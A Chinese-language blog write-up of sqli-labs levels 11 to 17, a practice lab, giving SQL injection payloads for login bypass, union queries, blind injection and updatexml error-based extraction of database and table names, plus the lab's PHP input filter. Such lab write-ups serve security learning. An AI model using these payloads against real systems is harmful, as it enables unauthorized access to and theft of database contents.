sqli-lab———writeup(11~17)

less11

用户名提交单引号显示sql语法错误,故存在sql注入
在这里插入图片描述

根据单引号报错,在用户名和密码任意行输入 万能密码:‘ or 1=1#

输入后username语句为:SELECT username, password FROM users WHERE username='' or 1=1; 双引号
password语句:Select * from admin where username='admin' and password='' or 1=1# 单引号

在这里插入图片描述
还有比如:1'union select 1,database()#

在这里插入图片描述

less12

输入双引号有报出sql语法错误
在这里插入图片描述
根据双引号报错,语句为:") or 1=1#
在这里插入图片描述

less13:

查看注入类型
在这里插入图片描述

分别为") or 1=1#') or 1=1#
两种方式都分别尝试过
结果都一样,只显示进入,但是不显示数据库内容
在这里插入图片描述

看来又是盲注了
使用语句:username=admin')and left(database(),1)>'a'#&password=任意密码
二分法或burp工具

less14

引号测试:
在这里插入图片描述
username:'")or 1=1# 单引号双引号
password:")or 1=1# 双引号

over~

less15

输入任何内容回显都一样,判断为布尔盲注和时间盲注
语句:’ or 1=1#

less16

同15:" or 1=1# 换成双引号

less17

看源码:

function check_input($value)
	{
	if(!empty($value))
		{
		// truncation (see comments)
		$value = substr($value,0,15);
		}
 
		// Stripslashes if magic quotes enabled
		if (get_magic_quotes_gpc())
			{
			$value = stripslashes($value);
			}
 
		// Quote if not a number
		if (!ctype_digit($value))
			{
			$value = "'" . mysql_real_escape_string($value) . "'";
			}
		
	else
		{
		$value = intval($value);
		}
	return $value;
	}

知识点:

函数get_magic_quotes_gpc()

当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1

当magic_quotes_gpc=Off的时候,函数get_magic_quotes_gpc()就会返回0

magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。

在magic_quotes_gpc = On的情况下,如果输入的数据有

单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符都会被加上反斜线。

stripslashes()删除由 addslashes() 函数添加的反斜杠

ctype_digit()判断是不是数字,是数字就返回true,否则返回false

mysql_real_escape_string()转义 SQL 语句中使用的字符串中的特殊字符。

intval() 整型转换

这一关中不能对username下手 要从passwordd开始

过程:

17关对username进行了严格的过滤

注入的格式:

admin' or updatexml(1, (concat('#',(payload))), 1) #

payload可以换成需要查询的函数

数据库名

admin' or updatexml(1, concat('#', database()), 1) #

表名

updatexml(1, concat("#", (select group_concat(table_name) from information_schema.tables where table_schema="security")), 0) #
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

b1gpig安全

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值